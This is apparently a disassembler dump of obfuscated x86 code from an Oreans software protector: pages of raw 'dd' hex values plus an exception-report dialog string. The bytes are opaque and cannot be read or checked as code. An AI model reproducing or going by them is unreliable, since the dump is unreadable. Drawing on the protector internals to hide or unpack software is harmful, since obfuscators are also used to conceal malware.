		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 8BC35646h, 0FFFD5D81h
		dd 8D012367h, 603265Dh,	207DBD83h, 0F000603h, 4485h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0A58D8BEDh, 83060309h, 60787BDh, 840F0006h, 20h, 6890Fh
		dd 0BD290000h, 60321B1h, 3830Fh, 0CA800000h, 10F7E91Bh
		dd 0BD890000h, 6030C91h, 43DE9h, 0FA8B6600h, 8D8BC08Bh
		dd 6031461h, 4E5BD83h, 75000603h, 39BD8309h, 60323h, 53501974h
		dd 0D4B8C08Bh, 89000007h, 31A9D85h, 0BF9D8D06h,	0FF0605B5h
		dd 83585BD3h, 32339BDh,	17740006h, 0D4B85350h, 89000007h
		dd 31A9D85h, 0AE9D8D06h, 0FF0605B2h, 6A585BD3h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 1721C357h, 3BD05F02h, 130D8D8Bh, 6A0603h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 87F036C3h
		dd 89F87C1Eh, 32E85B5h,	0F7816606h, 0C08B68C6h,	0B19BD8Bh
		dd 0D18A0603h, 0F003F68h, 0E7816600h, 6AC017h, 68F0F56h
		dd 9000000h, 31B798Dh, 6A5F06h,	1A519D89h, 95FF0603h, 6030E29h
		dd 0EA816656h, 855AD276h, 3850FC0h, 0F000000h, 8589FEB7h
		dd 605F784h, 7D8D8Bh, 6A0603h, 1CFD9589h, 14E80603h, 13000000h
		dd 0AB336A42h, 8ED68EADh, 0D880CDC9h, 408BE317h, 8BAA044Fh
		dd 31D35BDh, 6A5906h, 7E9h, 6DA2AB00h, 0F032F306h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 4F576CC3h, 0F7B62DB5h, 0B529232Bh, 6030AB9h,	0BD8B006Ah
		dd 6030B09h, 858D006Ah,	605F962h, 0C9EF8166h, 0E5958B89h
		dd 5006030Fh, 16A85B5h,	859BD09h, 16A0603h, 2EB1BD29h
		dd 16A0603h, 48F0Fh, 0B9660000h, 0FF68B481h, 31000F01h
		dd 32D598Dh, 7DBD8306h,	60320h,	2D840Fh, 8D890000h, 6030C25h
		dd 0F7E1858Dh, 0DE90605h, 47000000h, 0DF63C181h, 0D9512019h
		dd 3F8D91A5h, 12E9h, 5E900h, 1E200000h,	8D0F8747h, 5F7B785h
		dd 50FE8B06h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	3AC35040h, 0B6C89F3Bh, 0CF8B6664h, 1853150h, 56060303h
		dd 0E9BA6656h, 0FF595ADDh, 5F784B5h, 25958B06h,	0FF06031Eh
		dd 5F77095h, 0FE8B6606h, 850FC085h, 30h, 7E9h, 92313700h
		dd 0E6C739F1h, 8BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 10D2804Ah, 0F7888589h
		dd 97B50605h, 0F788B5FFh, 6A0605h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 18F866C3h, 8B338215h
		dd 0C995FFD1h, 6A060324h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0A510C355h,	9589DD92h
		dd 6032ADDh, 8E5BD33h, 0C0850603h, 2850Fh, 0C8B10000h
		dd 0F281106Ah, 24BEFF86h, 0BE8h, 0F5105300h, 8E779A70h
		dd 808F0D98h, 0EBFDBF66h, 7DBD8359h, 60320h, 2B840Fh, 0FE90000h
		dd 0BF000000h, 2904E432h, 0E9730916h, 0A483ACEDh, 858D15DCh
		dd 605F7E1h, 2069958Bh,	0CE90603h, 81000000h, 0F17931F1h
		dd 0B7858D49h, 500605F7h, 0DE9h, 0A72ACF00h, 2A763F0Ch
		dd 0E02E8848h, 8B66A956h, 84B5FFFEh, 6A0605F7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8973C352h, 309019Dh,	7C95FF06h, 6A0605F7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 77EBC352h, 67BAE7F9h, 8B17F674h, 31BE195h, 0FC08506h
		dd 85h,	88858900h, 0B10605F7h, 0B2006A96h, 8B006A18h, 88B5FFF9h
		dd 6A0605F7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 40E9C357h, 0FAD6127Dh,	958956F8h
		dd 60330DDh, 58E0F59h, 0BF000000h, 0C156F57h, 0F77495FFh
		dd 8B660605h, 0F18589F9h, 8506030Dh, 1850FC0h, 0FC000000h
		dd 0F788B5FFh, 8D290605h, 6032CE1h, 24C995FFh, 0BD890603h
		dd 603058Dh, 11E9h, 46853300h, 0C03821E2h, 5D704EC4h, 2796B96h
		dd 0C08593E1h, 4850Fh, 0B9660000h, 6A03ECh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 72C35242h, 0E26B01B3h
		dd 165DC54h, 316FD9Dh, 806806h,	0BD010000h, 60306B9h, 810F036Ah
		dd 6, 1B619589h, 6A0603h, 6AF9BF0Fh, 0A0FBB900h, 6832A5h
		dd 89C00000h, 318B99Dh,	0B5FF06h, 8B0605F8h, 3049195h
		dd 8D95FF06h, 8B060303h, 303598Dh, 0FFF88306h, 59C850Fh
		dd 0B9660000h, 85FFC20Bh, 606026Eh, 29B98D29h, 8D8B0603h
		dd 6030909h, 26EBD83h, 0F020606h, 46D84h, 9BD8900h, 0BA06030Bh
		dd 3D432E6Eh, 0F59F858Dh, 0BD2B005Ah, 6031F01h,	8BD0FFFCh
		dd 30ACD95h, 0F2858D06h, 8B005AEFh, 6AD0FFD1h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8979C356h, 307D58Dh,	0FC08B06h, 68Eh, 0DD950B00h, 83060302h
		dd 304E5BDh, 9750006h, 2339BD83h, 74000603h, 8B535019h
		dd 7D8B8C0h, 85890000h,	6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h
		dd 0BD83585Bh, 6032339h, 50177400h, 7D8B853h, 85890000h
		dd 6031A9Dh, 0B2AE9D8Dh, 0D3FF0605h, 0E856585Bh, 10h, 3F1D6A4Ch
		dd 0DBBB0791h, 3AFD267Bh, 0C3B96297h, 8A5A5FF8h, 57006ACBh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 2D9A06C2h, 3F68C08Bh, 6A000F00h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 9A37C356h
		dd 46642E44h, 6AA8E3h, 990026BAh, 8D9D8941h, 6A06030Bh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0CB1E7C84h, 0BD35411Ah, 9D8932AEh, 60304B5h
		dd 0E2995FFh, 0BA660603h, 0D281CDD9h, 0E115818h, 6BB6C085h
		dd 0F7848589h, 81560605h, 7D4820F7h, 0FF685F4Fh, 6A000F01h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5B5AC356h, 0DEC721CBh, 9D8D01E9h,	83060316h
		dd 3207DBDh, 840F0006h,	1Ch, 5BBF6652h,	858D5FA9h, 605F7E1h
		dd 7DBD8B60h, 61060315h, 0EE9h,	64C98000h, 0F7B7858Dh
		dd 81660605h, 507932EFh, 8C0Fh,	0B5FF0000h, 605F784h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B3C35242h, 2D3E9505h
		dd 8D896831h, 60304BDh,	0F77C95FFh, 958B0605h, 60324EDh
		dd 0F7888589h, 6A0605h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E95D69C3h, 0Fh,	0F760A78h, 16695CC2h
		dd 90FD5449h, 9C7382Eh,	31F8DBDh, 5985C706h, 6032Ch, 0F000000h
		dd 68Fh, 0D9958B00h, 83060308h,	5F788BDh, 840F0006h, 1F8h
		dd 6810Fh, 958B0000h, 6031BD5h,	0FA66858Dh, 0BD8B0605h
		dd 6031BD9h, 1D958950h,	6A060319h, 57006A01h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h
		dd 6630F785h, 0FFE2F0BFh, 5F788B5h, 0B5BD8B06h,	0FF060325h
		dd 5F78095h, 0C9BF0F06h, 0F788B5FFh, 95FF0605h,	60324C9h
		dd 0B81958Bh, 0FF680603h, 89000F01h, 320A195h, 0FE96006h
		dd 0AE000000h, 0C773BF51h, 0B0775C70h, 2D798CB7h, 0DE90172h
		dd 0F9000000h, 2DD9C992h, 839FFCD2h, 356D2B29h,	7DBD8361h
		dd 60320h, 58840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8BC441C3h, 32EA595h
		dd 0E1858D06h, 6A0605F7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 96E6C350h, 289F5B0Eh
		dd 0D8B86660h, 0FE9612Dh, 80000000h, 858DB2EEh,	605F7B7h
		dd 17C5BD8Bh, 8B500603h, 321218Dh, 84B5FF06h, 810605F7h
		dd 5C2880D1h, 7C95FF09h, 6A0605F7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1BBC356h
		dd 8B6034A3h, 51BD8BD6h, 61060321h, 0F7888589h,	0EB90605h
		dd 0FF01F9F1h, 5F788B5h, 95FFFC06h, 605F778h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B8C35545h, 0D8F588F5h
		dd 0B5FF1E72h, 605F788h, 2DEDB501h, 95FF0603h, 60324C9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6EC35646h
		dd 7E800327h, 9E84Ah, 0E31C0000h, 8A82A2BEh, 0F322CA7h
		dd 686h, 0FCC78100h, 597F5EE3h,	14E8h, 0A8541E00h, 70B744E9h
		dd 745CFFECh, 0F145EF55h, 74BD6BCAh, 7DBD8BB4h,	5906030Bh
		dd 0FFF6C3E9h, 3800FFFh, 66000000h, 0B5FFD38Bh,	60602D1h
		dd 95FFF88Bh, 603171Dh,	0CE59503h, 858B0603h, 6030A6Dh
		dd 29ADBD2Bh, 85E90603h, 8B000005h, 308C595h, 5E806h, 893D0000h
		dd 8B3C29BAh, 32C498Dh,	0B58D5F06h, 605FA86h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h, 8D8BDA30h
		dd 60300B1h, 0A758858Dh, 8D890605h, 6032545h, 0BD89D0FFh
		dd 60303DDh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 8CB136C3h, 0FD08B66h, 95FFD1BFh
		dd 6030779h, 0BF59523h,	0F38B0603h, 38A0Fh, 0B70F0000h
		dd 58858DC8h, 0F90605A7h, 12E9D0FFh, 21000000h,	28676EF1h
		dd 3B92E390h, 0D8B4C977h, 47475E9Bh, 6A006AA6h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 43B4C357h, 0DF816694h, 95FF6A41h, 6030779h, 5E9h, 2F05AD00h
		dd 0C08BA92Fh, 83D78B66h, 304E5BDh, 9750006h, 2339BD83h
		dd 74000603h, 8B535019h, 7D9B8C0h, 85890000h, 6031A9Dh
		dd 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h, 50177400h
		dd 7D9B853h, 85890000h,	6031A9Dh, 0B2AE9D8Dh, 0D3FF0605h
		dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0B92CC4C3h, 0A8FB0F25h, 8BF9CB8Bh, 6800FC0h
		dd 8B000000h, 3130595h,	68ED8006h, 33D88B50h, 322758Dh
		dd 81665206h, 5FB964DAh, 19D8D53h, 8B060305h, 8B038903h
		dd 43895043h, 6A9D8D50h, 8B060602h, 5B038903h, 66FFBF0Fh
		dd 6AA927BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 55FE07DEh, 0BD8B7AF1h, 6032ADDh
		dd 68F0Fh, 8D310000h, 60325E5h,	26A858Dh, 13E90606h, 74000000h
		dd 236FBA1Fh, 7F6E414h,	4A5C3506h, 178970DAh, 6A503BDAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A72BC352h, 39391B67h, 0F3F9ABBFh, 2830Fh
		dd 0CE8B0000h, 8E0F606Ah, 6, 14358589h,	9D890603h, 6030DC9h
		dd 501858Dh, 81660603h,	50BB59E1h, 0F006AF9h, 6AC8BFh
		dd 14E9h, 677A2C00h, 12A2EEB4h,	430E8ED5h, 5C881676h, 5C2F9C2Fh
		dd 18006804h, 0C2810000h, 18AAA47h, 758D8B53h, 0FF060326h
		dd 3042595h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B81FC7Ch, 326018Dh, 95FFF506h, 6030C95h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 61C35545h
		dd 0A3BD6879h, 6EA8166h, 0D1B5FFEAh, 89060602h,	31FF585h
		dd 1D95FF06h, 66060317h, 858DFB8Bh, 6030501h, 0B49952Bh
		dd 408B0603h, 9802BA18h, 85C712E1h, 60322F1h, 0
		dd 2531958Bh, 0BD830603h, 603207Dh, 91840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 674AC353h, 105757C4h, 4315BBA9h, 0FBAF78Ah
		dd 3D6B54F3h, 8Ch, 1A3830Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2ED02CC3h
		dd 0E854DE78h, 0ACF281C1h, 5701818Fh, 1B1D9509h, 0E95F0603h
		dd 35h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch
		dd 0DBC35747h, 0D796112Eh, 16DB6817h, 963Dh, 3E830F00h
		dd 89000001h, 30B7595h,	9F858D06h, 8B005AF5h, 323158Dh
		dd 9E85B906h, 0D0FF4A84h, 68A0Fh, 8D8B0000h, 6030031h
		dd 0EFF2858Dh, 0BF66005Ah, 0D0FF3953h, 6830Fh, 8D8B0000h
		dd 603260Dh, 8166C08Bh,	837451EFh, 304E5BDh, 9750006h
		dd 2339BD83h, 74000603h, 8B535019h, 0BC6B8C0h, 85890000h
		dd 6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h
		dd 50177400h, 0BC6B853h, 85890000h, 6031A9Dh, 0B2AE9D8Dh
		dd 0D3FF0605h, 958B585Bh, 6032935h, 18C5B589h, 958B0603h
		dd 6031611h, 0E281C08Bh, 7ACFBD19h, 0FFFF883h, 3585h, 68CA8000h
		dd 7E9h, 60CA6400h, 7FDD7883h, 2A9D85C7h, 603h,	958B0000h
		dd 6032121h, 2A799531h,	0C9E90603h, 81000000h, 30DEE2E7h
		dd 4CE921h, 0F8830000h,	43850F01h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 7FA0C353h, 6156E8D3h, 0B966F74Dh, 5E8D56Eh, 70000000h
		dd 9550E2CFh, 2451BD8Bh, 0E95A0603h, 0ACh, 0F516CA81h
		dd 0B1E95857h, 89FFFFF1h, 32149BDh, 33C08B06h, 31A41BDh
		dd 0E5BD8306h, 60304h, 0BD830975h, 6032339h, 50197400h
		dd 0B8C08B53h, 7DDh, 1A9D8589h,	9D8D0603h, 605B5BFh, 585BD3FFh
		dd 2339BD83h, 74000603h, 0B8535017h, 7DDh, 1A9D8589h, 9D8D0603h
		dd 605B2AEh, 585BD3FFh,	18C5B589h, 0C08B0603h, 16D58589h
		dd 2EE90603h, 0F9000002h, 6E858Dh, 0BD310606h, 6031431h
		dd 2668589h, 8F0F0606h,	15h, 10E9h, 93F54500h, 86B97F86h
		dd 0ACB2EB5h, 826F7347h, 56E915h, 2AB60000h, 0FE76858Dh
		dd 0BD890605h, 60304D9h, 12E940h, 5D7E0000h, 0A1A795C4h
		dd 0BA526115h, 0A2F7A24h, 0F8031F13h, 2668589h,	6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 3EFCE3C3h, 0C685B336h, 9D892891h, 6030041h, 858D346Ah
		dd 6032FB1h, 66B5FF50h,	6A060602h, 0A195FF00h, 83060318h
		dd 840F07F8h, 162h, 0F6DB8C66h,	850F04C3h, 0FCh, 1BA185C6h
		dd 68560603h, 9CA8B852h, 2E1B5FFh, 858D0603h, 60338E0h
		dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 602D985h, 0A185C606h
		dd 4706031Bh, 18AC9B68h, 0E1B5FFECh, 8D060302h,	338E085h
		dd 0FFD0FF06h, 0C6F08BD0h, 31BA185h, 61684F06h,	0FFC62F26h
		dd 31F9DB5h, 0E0858D06h, 0FF060338h, 0D59D8DD0h, 53060602h
		dd 0FF56286Ah, 75C085D0h, 0A185C600h, 4106031Bh, 87649868h
		dd 9DB5FFDBh, 8D06031Fh, 338E085h, 89D0FF06h, 602F285h
		dd 0A185C606h, 4C06031Bh, 0A4E7A468h, 9DB5FF80h, 8D06031Fh
		dd 338E085h, 8BD0FF06h,	602D99Dh, 45B8D06h, 0DE9D8D53h
		dd 53060602h, 0D0FF006Ah, 2D99D8Bh, 3C70606h, 1, 20C43C7h
		dd 0C7000000h, 31D4985h, 6, 6A006A00h, 8B006A00h, 602D99Dh
		dd 6A5306h, 2D5B5FFh, 95FF0606h, 60602F2h, 1BA185C6h, 68450603h
		dd 92A5F797h, 3121B5FFh, 858D0603h, 60338E0h, 6AD0FFh
		dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 2D99D8Bh,	43C70606h
		dd 0Ch,	6A006A00h, 0D99D8B00h, 53060602h, 0B5FF006Ah, 60602D5h
		dd 2F295FFh, 0B5FF0606h, 60602D5h, 0C9595FFh, 6A0603h
		dd 77995FFh, 0C8B50603h, 49958B60h, 6006030Bh, 77DB58Bh
		dd 0B70F0603h, 96161F6h, 32F618Dh, 0F5858D06h, 8B060634h
		dd 3042995h, 850F5006h,	6, 1A618589h, 0FF640603h, 35h
		dd 64FA8B00h, 2589h, 0EF810000h, 3320A76Dh, 61958960h
		dd 8B060322h, 0BD8361C6h, 6032EBDh, 5B840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 522BC356h, 0D71C780Ch, 3170040Dh,	30BA19Dh
		dd 0BD895606h, 6032EC5h, 89BD835Fh, 106031Dh, 1C850Fh
		dd 81660000h, 80326CDFh, 606F2BDh, 850F0006h, 0Ah, 19FE9F5h
		dd 0BA660000h, 0DB33709Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0F2C35343h, 0CF57EC68h, 29BD8B63h, 66060331h
		dd 33FF78B9h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 61D5470Ch, 0E8600192h, 6,	0A20C5CF7h
		dd 8B664B38h, 665359DAh, 3AF8E881h, 0F406159h, 640B073Fh
		dd 58Fh, 0C4830000h, 0DE904h, 0C3BD0000h, 96B0301Ch, 0FCC79F60h
		dd 0E903B922h, 5, 0E943B70Dh, 0FFFB835Dh, 15840Fh, 0E9530000h
		dd 6, 279F806Ah, 0E95AC07Ah, 0E3h, 0E9C88B66h, 53h, 4C8BEE8Ah
		dd 81C70C24h, 0A4h, 0FFFFFFFFh,	0B88183h, 33040000h, 5C8BC3C0h
		dd 0E8550C24h, 0
		dd 17ED815Dh, 8B060635h, 0B883h, 0D8858D00h, 89060635h
		dd 0B883h, 0C0335D00h, 68B0FC3h, 31000000h, 3260185h, 218D2B06h
		dd 8D06032Ch, 6350D85h,	0CBB70F06h, 8950CA8Ah, 30FE9BDh
		dd 65958B06h, 6406031Dh, 35FFh,	0C1810000h, 331BE585h
		dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0F40DC350h,	0AE749F17h
		dd 0B885454Bh, 66605AB2h, 0F52CC381h, 2115858Bh, 0B9610603h
		dd 0Ah,	55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	3044D85h
		dd 106h, 58F6400h, 0
		dd 6A04C483h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FAE2C351h, 8B67172Ch,	6060D1D4h
		dd 0CF8B66FCh, 0DE816661h, 8B61F5B4h, 315958Dh,	6AC08B06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 6044C352h, 2AE0F27Dh, 83E04872h, 304E5BDh
		dd 9750006h, 2339BD83h,	74000603h, 8B535019h, 43DB8C0h
		dd 85890000h, 6030739h,	0B6269D8Dh, 0D3FF0605h,	0BD83585Bh
		dd 6032339h, 50177400h,	43DB853h, 85890000h, 6030739h
		dd 0B2C79D8Dh, 0D3FF0605h, 0F181585Bh, 6A44237Dh, 8BCFB70Fh
		dd 13AE9C0h, 40000h, 2E310000h,	353538h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dd 1CB9BD83h, 0F000603h, 12D84h, 0DE858D00h, 500605B0h
		dd 0B048858Dh, 68500605h, 80000001h, 0B0EE95FFh, 858D0605h
		dd 6063699h, 0A3858D50h, 50060636h, 6A006Ah, 0B05C858Dh
		dd 0FF500605h, 5B0DEB5h, 0B595FF06h, 8D06030Eh,	6369985h
		dd 858D5006h, 60636A7h,	6A006A50h, 6E858D00h, 500605B0h
		dd 0B0DEB5FFh, 95FF0605h, 6030EB5h, 3699858Dh, 8D500606h
		dd 636B385h, 6A5006h, 858D006Ah, 605B0BBh, 0DEB5FF50h
		dd 0FF0605B0h, 30EB595h, 99858D06h, 50060636h, 36BB858Dh
		dd 6A500606h, 8D006A00h, 5B0D985h, 0B5FF5006h, 605B0DEh
		dd 0EB595FFh, 858D0603h, 6063699h, 0B7858D50h, 50060636h
		dd 6A006Ah, 0B0C2858Dh,	0FF500605h, 5B0DEB5h, 0B595FF06h
		dd 8D06030Eh, 6369985h,	858D5006h, 60636ABh, 6A006A50h
		dd 0CA858D00h, 500605B0h, 0B0DEB5FFh, 95FF0605h, 6030EB5h
		dd 3699858Dh, 8D500606h, 636AF85h, 6A5006h, 858D006Ah
		dd 605B0D1h, 0DEB5FF50h, 0FF0605B0h, 30EB595h, 0DEB5FF06h
		dd 0FF0605B0h, 302F595h, 0A2E906h, 0BD830000h, 60319DDh
		dd 95840F00h, 83000000h, 31D89BDh, 850F0006h, 11h, 1C99958Bh
		dd 0C2810603h, 1CF8h, 0FE9h, 1958D00h, 8B060305h, 0C2813452h
		dd 3BD4C340h, 29919589h, 0BD830603h, 6032991h, 55840F00h
		dd 8B000000h, 329919Dh,	4CC38306h, 8589038Bh, 60636A3h
		dd 29919D8Bh, 0C3830603h, 89038B50h, 636A785h, 919D8B06h
		dd 83060329h, 38B54C3h,	36B38589h, 9D8B0606h, 6032991h
		dd 8B58C383h, 0B7858903h, 8B060636h, 329919Dh, 5CC38306h
		dd 8589038Bh, 60636ABh,	1CB9BD83h, 0F000603h, 0D85h, 0DDBD8300h
		dd 60319h, 68840Fh, 0B5FF0000h,	60636BBh, 36AFB5FFh, 0B5FF0606h
		dd 60636ABh, 36B7B5FFh,	0B5FF0606h, 60636B3h, 36A7B5FFh
		dd 0B5FF0606h, 60636A3h, 369D858Dh, 8D500606h, 636D585h
		dd 858D5006h, 60300B5h,	0E195FF50h, 83060325h, 406A24C4h
		dd 36BF858Dh, 8D500606h, 300B585h, 6A5006h, 18A195FFh
		dd 16A0603h, 77995FFh, 0C18B0603h, 0F31718EBh, 9B46h, 4	dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6063A5Ch
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 94B58BFFh, 8106063Ah, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 98B53B00h, 0F06063Ah
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 2991858Bh, 18860603h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0CD95FF08h, 5006031Dh, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 2991858Bh, 0C60603h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6032991h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6030C59h,	0
aLdLs		db 'D$',8,'',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 5985C700h, 6030Ch
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3985C700h
		dd 106063Ah, 50000000h,	244C010Fh, 3D858FFEh, 8D06063Ah
		dd 63A3585h, 3DBD8D06h,	8906063Ah, 23E938h, 858D0000h
		dd 6030501h, 538408Bh, 9B46F317h, 3A358589h, 858D0606h
		dd 6030501h, 893C408Bh,	63A3985h, 52858D06h, 8906063Ah
		dd 31DCD85h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0C5858D00h, 8906063Ch, 3097185h, 0ED858D06h,	8906063Ch
		dd 3255D85h, 15858D06h,	8906063Dh, 3237D85h, 12E806h, 71670000h
		dd 7652250Ah, 873788A7h, 5A769BFh, 0D144A311h, 4BBE58F9h
		dd 811EA140h, 5F12C0h, 8B665300h, 0BF59CBh, 0F000000h
		dd 1381h, 0EE900h, 1FC00000h, 0C48BF716h, 0B091FE2Bh, 2D423CC1h
		dd 0E90734FFh, 0Ah, 0AF6AF6D1h,	0F32DE06Bh, 0F5A5D83h
		dd 0F281D8BFh, 2D97E492h, 5E9h,	0C9E68800h, 0F281B3D5h
		dd 444E10BFh, 0DCCAF281h, 0D98B2604h, 9CEBBE52h, 48F759Dh
		dd 12E838h, 7CB40000h, 63BA3AEh, 0B76BF421h, 74E0DC61h
		dd 1B9B4389h, 811FB55Bh, 597661EFh, 0DE91Bh, 1A000000h
		dd 0C63317E8h, 0E8B32B27h, 81DEB536h, 59765DC7h, 8840F1Bh
		dd 51000000h, 953DB81h,	815958E1h, 0FFA1C0FFh, 71850FFFh
		dd 66FFFFFFh, 5163F181h, 66C08B60h, 44B9E681h, 4E5BD83h
		dd 75000603h, 39BD8309h, 60323h, 53501974h, 0EB8C08Bh
		dd 89000004h, 31A9D85h,	0BF9D8D06h, 0FF0605B5h,	83585BD3h
